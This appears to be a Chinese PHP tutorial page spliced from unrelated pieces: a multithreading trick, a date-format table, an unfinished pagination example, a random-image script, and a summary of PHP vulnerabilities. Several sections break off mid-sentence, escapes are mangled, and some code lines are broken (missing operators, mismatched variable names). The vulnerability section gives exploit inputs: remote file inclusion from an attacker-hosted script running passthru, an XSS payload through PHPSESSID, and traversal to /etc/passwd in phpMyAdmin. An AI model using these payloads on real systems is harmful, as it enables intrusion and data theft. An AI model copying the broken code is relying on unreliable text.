PHP中的(伪)多线程与多进程

 更新时间:2016年11月25日 16:53  点击:1339

[学习] PHP中的(伪)多线程与多进程

已经因为没怎么需要,所以没有查这个的资料。最近有一个项目却是需要这样子的功能。

查看了PHP的手册和他人的例子,了解到基本的两种方法:

(伪)多线程:借助外力
利用WEB服务器本身的多线程来处理,从WEB服务器多次调用我们需要实现多线程的程序。
我们知道PHP本身是不支持多线程的, 但是我们的WEB服务器是支持多线程的.

也就是说可以同时让多人一起访问. 这也是我在PHP中实现多线程的基础.

假设我们现在运行的是a.php这个文件. 但是我在程序中又请求WEB服务器运行另一个b.php

那么这两个文件将是同时执行的.

(PS: 一个链接请求发送之后, WEB服务器就会执行它, 而不管客户端是否已经退出)

有些时候, 我们想运行的不是另一个文件, 而是本文件中的一部分代码.该怎么办呢?

其实可是通过参数来控制a.php来运行哪一段程序.

下面看一个例子:

//a.php

<?php
function runThread()
{
$fp = fsockopen('localhost', 80, $errno, $errmsg);
fputs($fp, "GET /a.php?act=brnrn"); //这里的第二个参数是HTTP协议中规定的请求头
//不明白的请看RFC中的定义
fclose($fp);
}

function a()
{
$fp = fopen('result_a.log', 'w');
fputs($fp, 'Set in ' . Date('h:i:s', time()) . (double)microtime() . "rn");
fclose($fp);
}

function b()
{
$fp = fopen('result_b.log', 'w');
fputs($fp, 'Set in ' . Date('h:i:s', time()) . (double)microtime() . "rn");
fclose($fp);
}
if(!isset($_GET['act'])) $_GET['act'] = 'a';
if($_GET['act'] == 'a')
{
runThread();
a();
}
else if($_GET['act'] == 'b') b();
?>

打开result_a.log 和 result_b.log 比较一下两个文件的中访问的时间. 大家会发现, 这两个的确是在不同线程中运行的.
有些时间完全一样.

上面只是一个简单的例子, 大家可以改进成其它形式.


既然PHP中也能多线程了, 那么问题也来了, 那就是同步的问题. 我们知道 PHP本身是不支持多线程的. 所以更不会有什么像

date 将服务器的时间格式化

语法描述为string date(string format,int[timestamp]);返回值的数据类型是字符串。

函数说明:

返回值的字符串按配置的格式决定。字符串格式化的选项如下:

a: "am"或是"pm"

A: "AM"或是"PM"

d: 几日,两位数字,若不足则补零;从"01"至"31"

D: 星期几,3个英文字母,如:"Fri"

F: 月份,英文全名,如:"January"

h: 12小时制的小时,从"01"至"12"

H: 24小时制的小时,从"00"至"23"

g: 12小时制的小时,不补零;从"1"至"12"

G: 24小时制的小时,不补零;从"0"至"23"

j: 几日,不足不被零;从"1"至"31"

l: 星期几,英文全名,如:"Friday"

m: 月份,两位数字,从"01"至"12"

n: 月份,两位数字,不补零;从"1"至"12"

M: 月份,3个英文字母;如:"Jan"

s: 秒;从"00"至"59"

S: 字尾加英文序数,两个英文字母,如:"21th"

t: 指定月份的天数,从"28"至"31"

U: 总秒数

w: 数字型的星期几,从"0(星期天)"至"6(星期六)"

Y: 年,四位数字

y: 年,两位数字

z: 一年中的第几天;从"1"至"366"

1、前言

   分页显示是一种非经常见的浏览和显示大量数据的方法,属于web编程中最常处理的事件之一。对于web编程的老手来说,编写这种代码实在是和呼吸一样自然,但是对于初学者来说,经常对这个问题摸不着头绪,因此特地撰写此文对这个问题进行具体的讲解,力求让看完这篇文章的朋友在看完以后对于分页显示的原理和实现方法有所了解。本文适合初学者阅读,所有示例代码均使用php编写。

  2、原理

   所谓分页显示,也就是将数据库中的结果集人为的分成一段一段的来显示,这里需要两个初始的参数:

    每页多少条记录($PageSize)?
    当前是第几页($CurrentPageID)?

   现在只要再给我一个结果集,我就可以显示某段特定的结果出来。

   至于其他的参数,比如:上一页($PreviousPageID)、下一页($NextPageID)、总页数($numPages)等等,都可以根据前边这几个东西得到。

   以mysql数据库为例,假如要从表内截取某段内容,sql语句可以用:select * from table limit offset, rows。看看下面一组sql语句,尝试一下发现其中的规率。

   前10条记录:select * from table limit 0,10
   第11至20条记录:select * from table limit 10,10
   第21至30条记录:select * from table limit 20,10
   ……

   这一组sql语句其实就是当$PageSize=10的时候取表内每一页数据的sql语句,我们可以总结出这样一个模板:

select * from table limit ($CurrentPageID - 1) * $PageSize, $PageSize

   拿这个模板代入对应的值和上边那一组sql语句对照一下看看是不是那么回事。搞定了最重要的如何获取数据的问题以后,剩下的就仅仅是传递参数,构造合适的sql语句然后使用php从数据库内获取数据并显示了。以下我将用具体代码加以说明。

  3、简单代码

   请具体阅读以下代码,自己调试运行一次,最好把它修改一次,加上自己的功能,比如搜索等等。

<?php
  // 建立数据库连接
  $link = mysql_connect("localhost", "mysql_user", "mysql_password")
    or die("Could not connect: " . mysql_error());
  // 获取当前页数
  if( isset($_GET['page']) ){
   $page = intval( $_GET['page'] );
  }
  else{
   $page = 1;
  }
  // 每页数量
  $PageSize = 10;
  // 获取总数据量
  $sql = "select count(*) as amount from table";
  $result = mysql_query($sql);
  $row = mysql_fetch_row($result);
  $amount = $row['amount'];
  // 记算总共有多少页
  if( $amount ){
   if( $amount < $page_size ){ $page_count = 1; } //假如总数据量小于$PageSize,那么只有一页
   if( $amount % $page_size ){ //取总数据量除以每页数的余数
    $page_count = (int)($amount / $page_size) 1; //假如有余数,则页数等于总数据量除以每页数的结果取整再加一
   }else{
    $page_count = $amount / $page_size; //假如没有余数,则页数等于总数据量除以每页数的结果
   }
  }
  else{
   $page_count = 0;
  }

  // 翻页链接
  $page_string = '';
  if( $page == 1 ){
   $page_string .= '第一页|上一页|';
  }

randimage.php

<?php

$dir = "images/";//图片目录,注重是按照名字排序显示的...
$imgwidth = 0;//图片宽度,为0则为原始大小
$iforder = 1;//顺序显示还是随机显示,1为顺序显示,0为随机显示
$ifcircle = 0;//顺序显示的时候是否循环播放,1为循环播放,0为不循环

session_start();
if($imgwidth==0){$imgwidth=="";}else{$imgwidth=="width='".$imgwidth."'";}
$handle=opendir($dir);
while ($file_name=readdir($handle)){
if(($file_name!==".")&&($file_name!=="..")){$file_list[]=$file_name; }
}
closedir($handle);

if($iforder==1){
if(isset($_SESSION['sess_order'])){
if($_SESSION['sess_order']<count($file_list)-1){
$_SESSION['sess_order'] ;
}else{
if($ifcircle == 1){
$_SESSION['sess_order']=0;
}
}
}else{
$_SESSION['sess_order']=0;
}
$i=$_SESSION['sess_order'];
}else{
$num=count($file_list)-1;
$i=rand(0,$num);
}

readfile($dir.$file_list[$i]);
?>

调用
<img src="randimage.php" border="0">

PHP网站漏洞的相关总结
从现在的网络安全来看,大家最关注和接触最多的WEB页面漏洞应该是ASP了,在这方面,小竹是专家,我没发言权.然而在PHP方面来看,也同样存在很严重的安全问题,但是这方面的文章却不多.在这里,就跟大家来稍微的讨论一下PHP页面的相关漏洞吧.
    我对目前常见的PHP漏洞做了一下总结,大致分为以下几种:包含文件漏洞,脚本命令执行漏洞,文件泄露漏洞,SQL注入漏洞等几种.当然,至于COOKIE欺骗等一部分通用的技术就不在这里讨论了,这些资料网上也很多.那么,我们就一个一个来分析一下怎样利用这些漏洞吧!
    首先,我们来讨论包含文件漏洞.这个漏洞应该说是PHP独有的吧.这是由于不充分处理外部提供的恶意数据,从而导致远程攻击者可以利用这些漏洞以WEB进程权限在系统上执行任意命令.我们来看一个例子:假设在a.php中有这样一句代码:
<?php
include($include."/xxx.php");
?>
在这段代码中,$include一般是一个已经设置好的路径,但是我们可以通过自己构造一个路径来达到攻击的目的.比方说我们提交:a.php?include=http://web/b.php,这个web是我们用做攻击的空间,当然,b.php也就是我们用来攻击的代码了.我们可以在b.php中写入类似于:passthru("/bin/ls /etc");的代码.这样,就可以执行一些有目的的攻击了.(注:web服务器应该不能执行php代码,不然就出问题了.相关详情可以去看<<如何对PHP程序中的常见漏洞进行攻击>>).在这个漏洞方面,出状况的很多,比方说:PayPal Store Front,
HotNews,Mambo Open Source,PhpDig,YABB SE,phpBB,InvisionBoard,SOLMETRA SPAW Editor,Les Visiteurs,PhpGedView,X-Cart等等一些.
    接着,我们再来看一下脚本命令执行漏洞.这是由于对用户提交的URI参数缺少充分过滤,提交包含恶意HTML代码的数据,可导致触发跨站脚本攻击,可能获得目标用户的敏感信息。我们也举个例子:在PHP Transparent的PHP PHP 4.3.1以下版本中的index.php页面对PHPSESSID缺少充分的过滤,我们可以通过这样的代码来达到攻击的目的:
http://web/index.php?PHPSESSID="><script>...</script>在script里面我们可以构造函数来获得用户的一些敏感信息.在这个漏洞方面相对要少一点,除了PHP Transparent之外还有:PHP-Nuke,phpBB,PHP Classifieds,PHPix,Ultimate PHP Board等等.
    再然后,我们就来看看文件泄露漏洞了.这种漏洞是由于对用户提交参数缺少充分过滤,远程攻击者可以利用它进行目录遍历攻击以及获取一些敏感信息。我们拿最近发现的phpMyAdmin来做例子.在phpMyAdmin中,export.php页面没有对用户提交的'what'参数进行充分过滤,远程攻击者提交包含多个'../'字符的数据,便可绕过WEB ROOT限制,以WEB权限查看系统上的任意文件信息。比方说打入这样一个地址:export.php?what=../../../../../../etc/passwd%00 就可以达到文件泄露的目的了.在这方面相对多一点,有:myPHPNuke,McNews等等.
[!--infotagslink--]

相关文章

  • C# WinForm多线程解决界面卡死问题的完美解决方案,使用BeginInvoke

    问题描述:当我们的界面需要在程序运行中不断更新数据时,当一个textbox的数据需要变化时,为了让程序执行中不出现界面卡死的现像,最好的方法就是多线程来解决一个主线程来创建界...2020-06-24
  • c# 多线程处理多个数据的方法

    这篇文章主要介绍了c# 多线程处理多个数据的方法,帮助大家更好的理解和学习使用c#,感兴趣的朋友可以了解下...2021-03-31
  • C#基于委托实现多线程之间操作的方法

    这篇文章主要介绍了C#基于委托实现多线程之间操作的方法,实例分析了C#的委托机制与多线程交互操作的相关技巧,具有一定参考借鉴价值,需要的朋友可以参考下...2020-06-25
  • C#启动进程的几种常用方法

    这篇文章主要介绍了C#启动进程的几种常用方法,实例分析了C#对系统进行的相关操作技巧,需要的朋友可以参考下...2020-06-25
  • C#多线程中的异常处理操作示例

    这篇文章主要介绍了C#多线程中的异常处理操作,涉及C#多线程及异常的捕获、处理等相关操作技巧,需要的朋友可以参考下...2020-06-25
  • 深入分析C#中的异步和多线程

    这篇文章主要介绍了C#中异步和多线程的相关资料,帮助大家更好的理解和学习c#,感兴趣的朋友可以了解下...2021-01-16
  • C#多线程与异步的区别详解

    多线程和异步操作两者都可以达到避免调用线程阻塞的目的,从而提高软件的可响应性。甚至有些时候我们就认为多线程和异步操作是等同的概念。但是,多线程和异步操作还是有一些区别的。而这些区别造成了使用多线程和异步操作的时机的区别...2020-06-25
  • C#获取所有进程的方法

    在本篇文章里小编给大家分享了关于C#获取所有进程的方法和步骤,有需要的朋友们跟着学习参考下。...2020-06-25
  • C#多线程之Thread类详解

    这篇文章主要为大家详细介绍了C#多线程之Thread类,具有一定的参考价值,感兴趣的小伙伴们可以参考一下...2020-06-25
  • java中多线程与线程池的基本使用方法

    在Java中,我们可以利用多线程来最大化地压榨CPU多核计算的能力,下面这篇文章主要给大家介绍了关于java中多线程与线程池基本使用的相关资料,需要的朋友可以参考下...2021-09-13
  • C#中的多线程多参数传递详解

    第一种解决方案的原理是:将线程执行的方法和参数都封装到一个类里面。通过实例化该类,方法就可以调用属性来实现间接的类型安全地传递多个参数...2020-06-25
  • java多线程中执行多个程序的实例分析

    在本篇文章里小编给大家整理的是一篇关于java多线程中执行多个程序的实例分析内容,有需要的朋友们可以学习参考下。...2021-02-07
  • 解析C#多线程编程中异步多线程的实现及线程池的使用

    这篇文章主要介绍了C#多线程编程中异步多线程的实现及线程池的使用,同时对多线程的一般概念及C#中的线程同步并发编程作了讲解,需要的朋友可以参考下...2020-06-25
  • C#获取进程的主窗口句柄的实现方法

    C#获取进程的主窗口句柄的实现方法,需要的朋友可以参考一下...2020-06-25
  • C#使用SendMessage实现进程间通信的方法

    这篇文章主要介绍了C#使用SendMessage实现进程间通信的方法,涉及C#中SendMessage方法的使用技巧,非常具有实用价值,需要的朋友可以参考下...2020-06-25
  • Springboot实现多线程注入bean的工具类操作

    这篇文章主要介绍了Springboot实现多线程注入bean的工具类操作,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧...2020-08-27
  • c# winform 关闭窗体时同时结束线程实现思路

    th.IsBackground = true解决线程问题,意思就是把线程设置为后台线程,感兴趣的朋友可以多了解下,如何有什么妙招还请多多指导哈...2020-06-25
  • C#中进程的挂起与恢复

    这篇文章主要介绍了C#中进程的挂起与恢复操作方法,非常不错,具有参考借鉴价值,需要的朋友可以参考下...2020-06-25
  • C#多线程编程中的锁系统(三)

    这篇文章主要介绍了C#多线程编程中的锁系统(三),本本文主要说下基于内核模式构造的线程同步方式、事件、信号量以及WaitHandle、AutoResetEvent、ManualResetEvent等内容,需要的朋友可以参考下...2020-06-25
  • 简单掌握Windows中C#启动外部程序进程的方法

    这篇文章主要介绍了Windows中C#启动外部程序进程的方法,例子中同时包括了进程关闭的方法,需要的朋友可以参考下...2020-06-25